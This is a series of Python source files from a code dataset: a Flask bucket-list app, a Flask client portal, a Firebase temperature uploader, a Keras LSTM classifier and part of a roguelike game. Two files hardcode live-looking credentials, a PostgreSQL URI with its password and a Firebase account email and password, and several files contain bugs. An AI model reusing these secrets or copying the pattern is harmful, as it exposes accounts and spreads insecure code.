1\n\nprint(\"After \" + str(duration) + \" seconds, the winning reindeer has \" + str(max(reindeer[\"points\"] for reindeer in stats)) + \" points.\")","sub_path":"2015/14/Part2.py","file_name":"Part2.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"184304768","text":"import pyautogui\nimport keyboard # using module keyboard\nimport time\nimport array\n\n\nclass spray_pattern:\n def __init__(name, points):\n self.name = name\n self.points = points\n\n\ndef record_spray(name):\n points = []\n print(\"Creating new spray \" + \"'\" + name + \"'\")\n print(\"Press Enter to continue...\")\n while True: # making a loop\n try: # used try so that if user pressed other than the given key error will not be shown\n if keyboard.is_pressed('enter'): # if key 'q' is pressed\n break # finishing the loop\n except:\n break # if user pressed a key other than the given key the loop will break\n print(\"Press Enter again to stop...\")\n print(\"3\")\n time.sleep(1)\n print(\"2\")\n time.sleep(1)\n print(\"1\")\n time.sleep(1)\n while True: # making a loop\n points.append(pyautogui.position())\n print(pyautogui.position())\n try: # used try so that if user pressed other than the given key error will not be shown\n if keyboard.is_pressed('enter'): # if key 'q' is pressed\n print('Spray added!')\n print(points)\n break # finishing the loop\n except:\n break # if user pressed a key other than the given key the loop will break\n\n\ndef main():\n print(\"Welcome to Spray Controller!\")\n print(\"What would you like to do...\\nCreate a Spray: 1\\nRun: 2\")\n record_spray(raw_input(\"Name of the spray... \\n\"))\n\n\nmain()\n","sub_path":"SprayControl.py","file_name":"SprayControl.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"413535646","text":"import os\nimport logging\n\nimport util.log_util\n\ndef Main():\n logging.info(\"Hello World\")\n \nif __name__ == '__main__':\n file_name = os.path.basename(__file__)[0:-3]\n LOG_FILE_NAME = '%s.log' % file_name\n util.log_util.InitLogging(file_name=LOG_FILE_NAME,\n file_level=logging.DEBUG,\n console_level=logging.DEBUG)\n Main()\n\n","sub_path":"kb_codes/sandbox/python/bking/src/kts_to_pb_main.py","file_name":"kts_to_pb_main.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"463350844","text":"import time\nimport pygame\nfrom sprites.bounce_laser_sprite import LaserSprite\nfrom helper.bounce_color import Color\n\nclass HorizLaserSprite(LaserSprite):\n size = width, height = 44, 3\n switch_interval = 2\n def __init__(self, center_x, center_y):\n LaserSprite.__init__(self, center_x, center_y)\n self.size = HorizLaserSprite.size\n self.center_x, self.center_y = center_x, center_y\n self.switch_interval = HorizLaserSprite.switch_interval\n\n self.image = pygame.Surface(HorizLaserSprite.size)\n self.image.fill(Color.RED)\n self.rect = self.image.get_rect(center=(self.center_x, self.center_y))\n","sub_path":"sprites/bounce_horiz_laser_sprite.py","file_name":"bounce_horiz_laser_sprite.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"365274","text":"#spy_name='Tushar'\n#spy_salutation='mr.'\n#spy_age=21\n#spy_rating=5.0\n#spy_online=True\n\n#spy={'name': 'Tushar',\n # 'salutation': 'Mr.',\n # 'age': 25,\n # 'rating': 4.5,\n # 'is_online': True\n\nclass spy:\n def __init__(self,name,salutation,age,rating):\n self.name = name\n self.salutation = salutation\n self.age = age\n self.rating = rating\n self.is_online = True\n self.current_status_message = None\n self.avg=[]","sub_path":"spy_details.py","file_name":"spy_details.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480923557","text":"import requests\nfrom io import BytesIO\n\n\ndef download_large_file_from_google_drive(id):\n \"\"\"Downloads large file from google drive\"\"\"\n URL = \"https://docs.google.com/uc?export=download\"\n\n session = requests.Session()\n\n response = session.get(URL, params={'id': id})\n token = get_confirm_token(response)\n\n if token:\n params = {'id': id, 'confirm': token}\n response = session.get(URL, params=params)\n resp_obj = response.content\n bytes_obj = BytesIO(resp_obj)\n return bytes_obj\n\n\ndef get_confirm_token(response):\n \"\"\"Gets the cookie for downloading a large file\"\"\"\n for key, value in response.cookies.items():\n if key.startswith('download_warning'):\n return value\n","sub_path":"web_application/src/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217333288","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom datetime import datetime\nfrom urllib import unquote\nimport bcrypt\n\nfrom dateutil.tz import gettz\n\nfrom bson import ObjectId\nfrom flask import Flask, render_template, session, request, redirect, url_for\nfrom pymongo import MongoClient\n\napp = Flask(__name__, static_folder='assets')\ndb = MongoClient('mongodb://localhost:27017/').tc\n\nCLIENT_NOT_FOUND_ERR = (\"Couldn't find that email address. Maybe try making\"\n \" an account first?\")\n\n@app.before_first_request\ndef createIndexes():\n db.clients.create_index('email', unique=True)\n db.people.create_index('email', unique=True)\n db.messages.create_index('message_id', unique=True)\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('index.html')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n cmail = request.form.get('email')\n client = db.clients.find_one({'email': cmail});\n if not client:\n return CLIENT_NOT_FOUND_ERR, 404\n\n if bcrypt.hashpw(\n str(request.form.get('login_pass')), str(client.get('password'))\n ) != str(client.get('password')):\n return \"Incorrect password. Please try again.\", 401\n\n session['email'] = cmail\n return url_for('profile')\n\n@app.route('/logout', methods=['GET'])\ndef logout():\n session.pop('email')\n return redirect(url_for('index'))\n\n@app.route('/clients', methods=['POST'])\ndef add_client():\n passwd = request.form.get(\"password\")\n confirm = request.form.get(\"confirmation\")\n if passwd != confirm:\n return \"Passwords don't match.\", 400\n cmail = str(request.form.get('email'))\n existing = db.clients.find_one({'email': cmail})\n if existing:\n return \"%s already exists, please login.\" % cmail, 409\n client_rec = {\n 'email': cmail,\n 'password': bcrypt.hashpw(str(passwd), bcrypt.gensalt()),\n 'failed_logins': 0,\n 'locked_out': False\n }\n db.clients.insert_one(client_rec)\n session['email'] = client_rec.get('email')\n return url_for('profile')\n\n@app.route('/clients/profile', methods=['GET', 'POST'])\ndef profile():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n if request.method == 'POST':\n for k, v in request.form.items():\n client_rec[k] = v\n\n db.clients.update({'email': session.get('email')},client_rec)\n return render_template('user.html', **client_rec)\n\n@app.route('/clients/account', methods=['GET'])\ndef account():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n return render_template('coming_soon.html', **client_rec)\n\n@app.route('/clients/settings', methods=['GET'])\ndef settings():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n return render_template('coming_soon.html', **client_rec)\n\n@app.route('/clients/people', methods=['GET', 'POST'])\ndef people():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n\n people = list(db.people.find({'client': session.get('email')}))\n if request.method == 'POST':\n person = {}\n for k, v in request.form.items():\n person[k] = v\n\n person['client'] = session.get('email')\n\n db.people.insert(person)\n people.append(person)\n\n client_rec['people'] = people\n \n return render_template('people.html', **client_rec)\n\n@app.route('/clients/people/<pid>', methods=['POST'])\ndef person(pid):\n if 'email' not in session:\n return redirect(url_for('index'))\n\n person = db.people.find_one({'_id': ObjectId(pid)})\n if not person:\n return \"No person could be found.\", 404\n\n for k, v in request.form.items():\n person[k] = v\n\n person['client'] = session.get('email')\n\n db.people.replace_one({'_id': ObjectId(pid)}, person)\n return url_for('people')\n\n@app.route('/clients/events', methods=['GET', 'POST'])\ndef events():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n\n if request.method == 'POST':\n event = {}\n for k, v in request.form.items():\n event[k] = v\n\n event['client'] = session.get('email')\n\n db.events.insert(event)\n\n return url_for('messages')\n\n events = list(db.events.find({'client': session.get('email')}))\n for event in events:\n event['when'] = message['when'].replace(\n tzinfo=gettz('UTC')).astimezone(\n gettz('America/Chicago')\n ).strftime('')\n\n messages = list(db.messages.find({'client': session.get('email')}))\n\n people = list(db.people.find({'client': session.get('email')}))\n\n client_rec['events'] = events\n client_rec['messages'] = messages\n client_rec['people'] = people \n\n return render_template('events.html', **client_rec)\n\n@app.route('/clients/events/<event_id>', methods=['DELETE', 'PUT'])\ndef event():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n\n if request.method == 'POST':\n pass\n\n client_rec['messages'] = messages\n\n return render_template('messages.html', **client_rec)\n\n@app.route('/clients/messages', methods=['GET', 'POST'])\ndef messages():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n\n client_rec['now'] = datetime.now(gettz('America/Chicago'))\n\n if request.method == 'POST':\n message = {}\n for k, v in request.form.items():\n message[k] = v\n\n message['client'] = session.get('email')\n message['added'] = datetime.now(gettz('America/Chicago'))\n\n db.messages.insert(message)\n\n return url_for('messages')\n\n messages = list(db.messages.find({'client': session.get('email')}))\n\n for message in messages:\n message['added'] = message['added'].replace(\n tzinfo=gettz('UTC')).astimezone(gettz('America/Chicago')) \n client_rec['messages'] = messages\n\n return render_template('messages.html', **client_rec)\n\n@app.route('/clients/messages/<msg_id>', methods=['DELETE', 'PUT'])\ndef message(msg_id):\n if 'email' not in session:\n return redirect(url_for('index'))\n\n if request.method == 'DELETE':\n db.messages.remove({'message_id': unquote(msg_id)})\n return url_for('messages')\n\n@app.route('/clients/documents', methods=['GET'])\ndef documents():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n return render_template('coming_soon.html', **client_rec)\n\n@app.route('/clients/video', methods=['GET'])\ndef videos():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n return render_template('coming_soon.html', **client_rec)\n\n@app.route('/clients/audio', methods=['GET'])\ndef audio():\n if 'email' not in session:\n return redirect(url_for('index'))\n\n client_rec = db.clients.find_one({'email': session.get('email')})\n return render_template('coming_soon.html', **client_rec)\n","sub_path":"tc/prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":7592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"72119693","text":"import numpy as np\nfrom keras.layers import LSTM, Dropout, Dense, BatchNormalization, Flatten, Softmax\nfrom keras.models import Sequential\nfrom keras.regularizers import l1\nfrom keras.utils import to_categorical\n\nfrom classifiers.abstract_classifiers import AbstractClassifier\nfrom modules.utils import del_samples, batch_size\nfrom collections import Counter\nfrom keras import optimizers\n\n\nclass LSTM_classify(AbstractClassifier):\n def __init__(self, metadata, compile_params, fit_params, x_train, y_train):\n super().__init__(metadata, compile_params, fit_params, x_train, y_train)\n\n def construct_classifier(self, bs):\n\n self.x_train, self.y_train = del_samples(self.x_train, self.y_train, bs)\n print(Counter(self.y_train))\n self.y_train = to_categorical(self.y_train)\n print(self.y_train)\n\n # Разделение на каналы (зависит от задачи)\n _batch_input_shape = (bs, 1, self.x_train.shape[1])\n self.x_train = np.reshape(self.x_train, (self.x_train.shape[0], 1, self.x_train.shape[1]))\n\n self.model = Sequential()\n self.model.add(LSTM(self.metadata['LSTM_units'], stateful=True, batch_input_shape=_batch_input_shape,\n kernel_initializer=self.metadata['LSTM_kernel_initializer'],\n recurrent_dropout=0.0, kernel_regularizer=l1(self.metadata['LSTM_kernel_regularizer']),\n return_sequences=self.metadata['return_sequences'],\n bias_initializer=self.metadata['LSTM_bias_initializer']))\n self.model.add(Dropout(self.metadata['dropout']))\n self.model.add(BatchNormalization(axis=0, center=True))\n if self.metadata['return_sequences']:\n self.model.add(Flatten())\n self.model.add(Dense(2, kernel_initializer=self.metadata['dense_kernel_initializer'],\n kernel_regularizer=l1(self.metadata['dense_kernel_regularizer']),\n activation=self.metadata['dense_activation']))\n self.model.add(Softmax())\n\n def compile_classifier(self):\n # adam = optimizers.Adam(lr=0.001, beta_1=0.999, beta_2=0.999, epsilon=1e-7, decay=0.0, amsgrad=True)\n rms = optimizers.RMSprop(lr=float(self.compile_params['lr']), rho=0.99, decay=1e-3)\n self.model.compile(loss=\"binary_crossentropy\", optimizer=rms, metrics=[\"acc\"])\n\n def fit_classifier(self, *args):\n super().fit_classifier(args)\n","sub_path":"classifiers/LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"386855012","text":"from flask import Flask, render_template, request, url_for\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_uploads import IMAGES, UploadSet, configure_uploads\r\nimport os\r\n\r\napp = Flask(__name__)\r\n\r\nENV = 'prod'\r\n\r\nphotos = UploadSet(\"photos\", IMAGES)\r\n\r\napp.config[\"UPLOADED_PHOTOS_DEST\"] = \"static/images\"\r\napp.config[\"SECRET_KEY\"] = os.urandom(24)\r\nconfigure_uploads(app, photos)\r\n\r\n\r\nif ENV == 'dev':\r\n \r\n app.debug = True\r\n app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:Mimamamemima1.@localhost/bucketlistdb'\r\n\r\nelse:\r\n\r\n app.debug = False\r\n app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://rksleepgjesgyy:ee7c70a72b2c62fa08f3290de35c26a1b450d0ff33b1647a4c484564af4a7333@ec2-52-21-252-142.compute-1.amazonaws.com:5432/d1pihbamilr8ae'\r\n\r\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\r\n\r\ndb = SQLAlchemy(app)\r\n\r\n\r\nclass List(db.Model):\r\n __tablename__ = 'todo'\r\n id = db.Column(db.Integer, primary_key=True)\r\n title = db.Column(db.String(100), unique=True)\r\n description = db.Column(db.Text())\r\n image = db.Column(db.String(200))\r\n location = db.Column(db.String(100))\r\n\r\n def __init__(self, title, description, image, location):\r\n self.title = title\r\n self.description = description\r\n self.image = image\r\n self.location = location\r\n\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n data = List.query.all()\r\n\r\n return render_template('index2.html', data=data)\r\n\r\n@app.route('/submit', methods=['POST', 'GET'])\r\ndef submit():\r\n if request.method == 'POST':\r\n title = request.form['title']\r\n description = request.form['description']\r\n image = request.files['image']\r\n location = request.form['location']\r\n\r\n \r\n if title == '' or description == '' or image == '' or location == '':\r\n data = List.query.all()\r\n return render_template('index2.html', message='Llena todos los campos', data=data)\r\n\r\n if db.session.query(List).filter(List.title == title).count() == 0:\r\n image = photos.save(request.files['image'])\r\n data = List(title, description, image, location)\r\n db.session.add(data)\r\n db.session.commit()\r\n\r\n \r\n data = List.query.all()\r\n \r\n return render_template('index2.html', message='Has agregado una nueva actividad', data=data)\r\n else:\r\n data = List.query.all()\r\n return render_template('index2.html', message='Cambia el titulo', data=data)\r\n\r\n\r\nif __name__== '__main__':\r\n app.run()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"280125144","text":"from time import *\r\nfrom grovepi import *\r\nfrom grove_rgb_lcd import * \r\nfrom pyrebase import pyrebase\r\n\r\ndhtsensor = 7\r\npinMode(dhtsensor, \"INPUT\")\r\n\r\nconfig = {\r\n \"apiKey\": \"AIzaSyBkGe8rwXaekDyGa68SN5BndPlN-6XYY-g\",\r\n \"authDomain\": \"bait2123-iot-12d48.firebaseapp.com\",\r\n \"databaseURL\": \"https://bait2123-iot-12d48-default-rtdb.firebaseio.com/\",\r\n \"storageBucket\": \"gs://bait2123-iot-12d48.appspot.com\"\r\n}\r\n\r\n# Initialize the app\r\nfirebase = pyrebase.initialize_app(config)\r\n\r\n# Get a reference to the auth service\r\nauth = firebase.auth()\r\n\r\n# Log the user in \r\nuser = auth.sign_in_with_email_and_password(\"zixuan2001711@gmail.com\", \"loozx123\")\r\n\r\n# Get a reference to the database service\r\ndb = firebase.database()\r\n\r\nwhile True:\r\n try:\r\n sleep(2)\r\n [temp, hum] = dht(dhtsensor, 0)\r\n print(\"Temp = \", temp, '\\u00b0C', \" Hum = \", \"%\")\r\n t = str(temp)\r\n h = str(hum)\r\n setRGB(0,255,0)\r\n setText(\"Temp = \"+ t + '\\337'+ \"C Hum = \"+ h + \"%\")\r\n data1 = {\"temperature\":t}\r\n data2 = {\"humidity\":h}\r\n # Pass the user's idToken to the push method\r\n #results = db.child(\"PI_001\").push(data1, user['idToken'])\r\n #results = db.child(\"PI_001\").push(data2, user['idToken'])\r\n# results = db.child('PI_001').set({\r\n# 'temperature': data1,\r\n# 'humidity': data2\r\n# })\r\n\r\n results = db.child(\"PI_001\").set({\r\n 'Sensor Values': {\r\n 'temperature': data1,\r\n 'humidity': data2,\r\n }\r\n })\r\n except KeyboardInterrupt:\r\n setText(\"Program Exited\")\r\n break\r\n except TypeError:\r\n print(\"Type error occurs\")\r\n break\r\n except IOError:\r\n print(\"I/O error occurs\")\r\n break\r\n","sub_path":"BAIT2123 Internet Of Things/Practical/Practical 5/test06.py","file_name":"test06.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"194875101","text":"#standard imports\nimport libtcodpy as libtcod\nfrom gamestuff import *\nimport data\n\n\n#Classes: Object player, enemies, items, etc\nclass Fighter(object):\n #combat-related properties and methods (monster, Game.player, NPC, etc)\n def __init__(self, hp, defense, power, xp, speed = data.SPEED_DEFAULT, death_function=None):\n self.base_max_hp = hp\n self.hp = hp\n self.xp = xp\n self.base_defense = defense\n self.base_power = power\n self.death_function=death_function\n self.speed = speed\n\n #@property\n def power(self, Game):\n bonus = sum(equipment.power_bonus for equipment in get_all_equipped(self.owner, Game))\n return self.base_power + bonus\n\n #@property\n def defense(self, Game):\n bonus = sum(equipment.defense_bonus for equipment in get_all_equipped(self.owner, Game))\n return self.base_defense + bonus\n\n #@property\n def max_hp(self, Game):\n bonus = sum(equipment.max_hp_bonus for equipment in get_all_equipped(self.owner, Game))\n return self.base_max_hp + bonus\n\n def heal(self, amount):\n #heal by the given amount\n self.hp += amount\n if self.hp > self.max_hp(Game):\n self.hp = self.max_hp(Game)\n\n def take_damage(self, damage, Game):\n #inflict dmg if possible\n if damage > 0:\n self.hp -= damage\n\n #check for death and call death_function (if set)\n if self.hp <= 0:\n function = self.death_function\n if function is not None:\n function(self.owner, Game)\n if self.owner != Game.player: #yield experience to the Game.player\n Game.player.fighter.xp += self.xp\n\n def attack(self, target, Game):\n #very simple formula for attack damage\n damage = self.power(Game) - target.fighter.defense(Game)\n\n if damage > 0:\n #make target take some damage\n message(self.owner.name.capitalize() + ' attacks ' + target.name + ' for ' +str(damage) + ' HP.', Game, libtcod.yellow)\n target.fighter.take_damage(damage, Game)\n else:\n message(self.owner.name.capitalize() + ' attacks ' + target.name + ' but there is no effect.', Game, libtcod.white)\n\nclass BasicMonster(object):\n #AI for basic monster\n def take_turn(self, Game):\n #basic monsters can see you if you can see them\n monster = self.owner\n if libtcod.map_is_in_fov(Game.fov_map, monster.x, monster.y):\n #move towards Game.player if far enough away\n if flip_coin() and flip_coin() and flip_coin():\n message('The ' + self.owner.name + ' clears its throat!', Game, monster.color)\n if monster.distance_to(Game.player) >= 2:\n monster.move_towards(Game.player.x, Game.player.y, Game)\n\n #close enough to attack (if the Game.player is alive)\n elif Game.player.fighter.hp > 0:\n monster.fighter.attack(Game.player, Game)\n else: #wander\n monster.move_random(Game)\n\nclass Object(object):\n #this is a generic object: Game.player, monster, item, stairs\n #always represented by a character on the screen\n def __init__(self, x=0, y=0, char='?', name=None, color=libtcod.white, tilechar = None, blocks = False, always_visible = False, fighter = None, ai = None, item = None, equipment = None):\n self.name = name\n self.blocks = blocks\n self.x = x\n self.y = y\n self.char = char\n self.color = color\n self.always_visible = always_visible\n\n self.tilechar = tilechar\n if self.tilechar is None:\n self.tilechar = self.char\n\n\n self.fighter = fighter\n if self.fighter:\n if type(fighter) is dict:\n self.fighter = Fighter(**fighter)\n self.fighter.owner = self\n\n self.ai = ai\n if self.ai:\n self.ai.owner = self \n\n self.item = item\n if self.item: \n if type(item) is dict:\n self.item = Item(**item)\n self.item.owner = self\n\n self.equipment = equipment\n if self.equipment:\n if type(equipment) is dict:\n self.equipment = Equipment(**equipment)\n self.equipment.owner = self\n\n #there must be an Item component for the equipment component to work properly\n self.item = Item()\n self.item.owner = self\n\n def set_location(self, x, y, Game):\n if not is_blocked(x, y, Game):\n self.x = x\n self.y = y\n return True\n else:\n return False\n\n def move(self, dx, dy, Game):\n if not is_blocked(self.x + dx, self.y + dy, Game):\n #if not map[self.x + dx][self.y + dy].blocked:\n self.x += dx\n self.y += dy\n return True\n else:\n return False\n\n def move_random(self, Game):\n self.move(libtcod.random_get_int(0, -1, 1), libtcod.random_get_int(0, -1, 1), Game)\n\n\n def draw(self, Game):\n #only draw if in field of view of Game.player or it's set to always visible and on explored tile\n if (libtcod.map_is_in_fov(Game.fov_map, self.x, self.y) or (self.always_visible and Game.map[self.x][self.y].explored)):\n (x, y) = to_camera_coordinates(self.x, self.y, Game)\n\n if x is not None:\n #set the color then draw the character that represents this object at its position\n libtcod.console_set_default_foreground(Game.con, self.color)\n if data.ASCIIMODE:\n thechar = self.char\n else:\n thechar = self.tilechar\n\n libtcod.console_put_char(Game.con, x, y, thechar, libtcod.BKGND_NONE)\n\n def clear(self, Game):\n #erase char that represents this object\n (x, y) = to_camera_coordinates(self.x, self.y, Game)\n if x is not None and libtcod.map_is_in_fov(Game.fov_map, self.x, self.y):\n libtcod.console_put_char_ex(Game.con, x, y, data.GROUND_CHAR, libtcod.white, data.COLOR_LIGHT_GROUND)\n\n def move_towards(self, target_x, target_y, Game):\n #vector from this object to the target, and distance\n dx1 = target_x - self.x\n dy1 = target_y - self.y\n #print str(target_x) + '/' + str(target_y) + '::' + str(self.x) + '/' + str(self.y)\n distance = get_distance(dx1, dy1)\n \n #normalize vector and round accordingly and convert to int\n dx = int(round(dx1 / distance))\n dy = int(round(dy1 / distance))\n\n #print str(dx) + '/' + str(dx1) + ', ' + str(dy) + '/' + str(dy) + ', ' + str(distance)\n if not self.move(dx, dy, Game):\n #if monster didn't move. Try diagonal\n if dx1 != 0:\n dx = abs(dx1) / dx1\n elif target_x < self.x:\n dx = -1\n else:\n dx = 1\n\n if dy != 0:\n dy = abs(dy1) / dy1\n elif target_y < self.y:\n dy = -1\n else:\n dy = 1\n #print 'trying diagonal:' +str(dx) + ', ' + str(dy) + ', ' + str(distance)\n self.move(dx, dy, Game)\n\n def distance_to(self, other):\n #return distance to another object\n dx = other.x - self.x\n dy = other.y - self.y\n return get_distance(dx, dy)\n\n def distance(self, x, y):\n #return distance to some coord\n return get_distance(x - self.x, y - self.y)\n\n def send_to_back(self, Game):\n #make this object be drawn first, so all others appear above it if they are in the same tile\n Game.objects.remove(self)\n Game.objects.insert(0, self)\n\nclass Item(object):\n def __init__(self, use_function=None):\n self.use_function = use_function\n\n def use(self, Game):\n #special case: if the object has the equipment component, the \"use\" action is to equip/dequip\n if self.owner.equipment:\n self.owner.equipment.toggle_equip(Game)\n return\n\n #call the 'use_function' if defined\n if self.use_function is None:\n message('The ' + self.owner.name + ' cannot be used.', Game)\n return 'no_action'\n else:\n if self.use_function(Game) != 'cancelled':\n Game.inventory.remove(self.owner) #destroy after use, unless cancelled\n Game.fov_recompute = True\n return 'used'\n else:\n return 'no_action'\n\n #an item that can be picked up and used\n def pick_up(self, Game):\n #add to the Game.player's Game.inventory and remove from the map\n if len(Game.inventory) >= 26:\n message('Your Game.inventory is full! Cannot pick up ' + self.owner.name +'.', Game, libtcod.dark_red)\n retval = data.STATE_NOACTION\n else:\n Game.inventory.append(self.owner)\n Game.objects.remove(self.owner)\n message('You picked up a ' + self.owner.name + '!', Game, libtcod.green)\n\n #special case: auto equip if the slot is unused\n equipment = self.owner.equipment\n if equipment and get_equipped_in_slot(equipment.slot, Game) is None and data.AUTOEQUIP:\n equipment.equip(Game)\n\n retval = data.STATE_PLAYING\n\n return retval\n\n def drop(self, Game):\n #add to the map and remove from the Game.player's Game.inventory. also, place it at the Game.player's coordinates\n Game.objects.append(self.owner)\n Game.inventory.remove(self.owner)\n self.owner.x = Game.player.x\n self.owner.y = Game.player.y\n message('You dropped a ' + self.owner.name + '.', Game, libtcod.yellow)\n\n #special case: if the object has the equip component, dequip before dropping it\n if self.owner.equipment:\n self.owner.equipment.dequip(Game)\n\nclass Equipment(object):\n #an object that can be equipped, yielding bonuses. automatically adds the Item component\n def __init__(self, slot, power_bonus=0, defense_bonus=0, max_hp_bonus=0):\n self.slot = slot\n self.power_bonus = power_bonus\n self.defense_bonus = defense_bonus\n self.max_hp_bonus = max_hp_bonus\n self.is_equipped = False\n\n def toggle_equip(self, Game): #toggle equip/dequip status\n if self.is_equipped:\n self.dequip(Game)\n else:\n self.equip(Game)\n\n def equip(self, Game):\n #if the slot is already being used, dequip whatever is there\n old_equipment = get_equipped_in_slot(self.slot, Game)\n if old_equipment is not None:\n old_equipment.dequip(Game)\n\n #equip object and show a message about it\n self.is_equipped = True\n message('Equipped ' + self.owner.name + ' on ' + self.slot + '.', Game, libtcod.light_green)\n\n def dequip(self, Game):\n #dequip object and show a message about it\n if not self.is_equipped: return\n self.is_equipped = False\n message('Unequipped ' + self.owner.name + ' from ' + self.slot + '.', Game, libtcod.light_green) \n\nclass ConfusedMonster(object):\n def __init__(self, old_ai, num_turns = data.CONFUSE_NUM_TURNS):\n self.old_ai = old_ai\n self.num_turns = num_turns\n\n #AI for confused monster\n def take_turn(self, Game):\n if self.num_turns > 0: #still confused\n #move in random direction\n self.owner.move(libtcod.random_get_int(0, -1, 1), libtcod.random_get_int(0, -1, 1), Game)\n self.num_turns -= 1\n\n else:\n self.owner.ai = self.old_ai\n message('The ' + self.owner.name + ' is no longer confused', Game, libtcod.red) \n\n\n#spells/abilities\n\ndef use_crystal(Game):\n message('You are lost in the crystal\\'s glow', Game, libtcod.sky)\n Game.player.fighter.hp = Game.player.fighter.max_hp(Game)\n\n\ndef cast_confusion(Game):\n #ask player for target to confuse\n message('Left-click an enemy to confuse. Right-click or ESC to cancel', Game, libtcod.light_cyan)\n monster = target_monster(Game, data.CONFUSE_RANGE)\n if monster is None:\n return 'cancelled'\n\n #replace monster's AI with confuse\n old_ai = monster.ai\n monster.ai = ConfusedMonster(old_ai)\n monster.ai.owner = monster #tell the new component who owns it\n message('The ' + monster.name + ' is confused!', Game, libtcod.light_green)\n\ndef cast_fireball(Game):\n #ask the player for a target tile to throw a fireball at\n message('Left-click a target tile for the fireball. Right-Click or ESC to cancel', Game, libtcod.light_cyan)\n (x,y) = target_tile(Game)\n if x is None: \n return 'cancelled'\n else:\n message('The fireball explodes', Game, libtcod.orange)\n\n theDmg = roll_dice([[data.FIREBALL_DAMAGE/2, data.FIREBALL_DAMAGE*2]])[0]\n for obj in Game.objects: #damage all fighters within range\n if obj.distance(x,y) <= data.FIREBALL_RADIUS and obj.fighter:\n message('The ' + obj.name + ' is burned for '+ str(theDmg) + ' HP', Game, libtcod.orange)\n obj.fighter.take_damage(theDmg, Game)\n\ndef cast_heal(Game):\n #heal the player\n if Game.player.fighter.hp == Game.player.fighter.max_hp(Game):\n message('You are already at full health.', Game, libtcod.red)\n return 'cancelled'\n\n message('You feel better', Game, libtcod.light_violet)\n Game.player.fighter.heal(data.HEAL_AMOUNT)\n\ndef cast_lightning(Game):\n #find nearest enemy (within range) and damage it\n monster = closest_monster(data.LIGHTNING_RANGE, Game)\n if monster is None:\n message('No enemy is close enough to strike', Game, libtcod.red)\n return 'cancelled'\n\n theDmg = roll_dice([[data.LIGHTNING_DAMAGE/2, data.LIGHTNING_DAMAGE]])[0]\n\n message('A lightning bolt strikes the ' + monster.name + '! \\n DMG = ' + str(theDmg) + ' HP.', Game, libtcod.light_blue)\n monster.fighter.take_damage(theDmg, Game)\n\n\n#death routines\ndef player_death(player, Game):\n #the game has ended\n message('YOU DIED! YOU SUCK!', Game, libtcod.red)\n Game.game_state = data.STATE_DEAD\n\n #turn player into corpse\n player.char = '%'\n player.color = libtcod.dark_red\n\ndef monster_death(monster, Game):\n #transform into corpse\n #doesn't block, can't be attacked, cannot move\n message(monster.name.capitalize() + ' is DEAD!', Game, libtcod.orange)\n message('You gain ' + str(monster.fighter.xp) + 'XP', Game, libtcod.orange)\n monster.char = '%'\n monster.color = libtcod.dark_red\n monster.blocks = False\n monster.fighter = None\n monster.ai = None\n monster.name = 'remains of ' + monster.name\n monster.always_visible = True\n monster.send_to_back(Game)\n\n\n#check equip and inventory\ndef get_equipped_in_slot(slot, Game): #returns the equipment in a slot, or None if it's empty\n for obj in Game.inventory:\n if obj.equipment and obj.equipment.slot == slot and obj.equipment.is_equipped:\n return obj.equipment\n return None\n\ndef get_all_equipped(obj, Game): #returns list of equipped items\n if obj == Game.player:\n equipped_list = []\n for item in Game.inventory:\n if item.equipment and item.equipment.is_equipped:\n equipped_list.append(item.equipment)\n return equipped_list\n else:\n return [] #other Game.objects have no equipment\n\n\n#target monsters/tiles and check for blocked tiles\ndef target_monster(Game, max_range = None):\n #returns a clicked monster inside FOV up to a range, or None if right-clicked\n while True:\n (x, y) = target_tile(Game, max_range)\n if x is None: #player cancelled\n return None\n\n #return the first clicked monster, otherwise 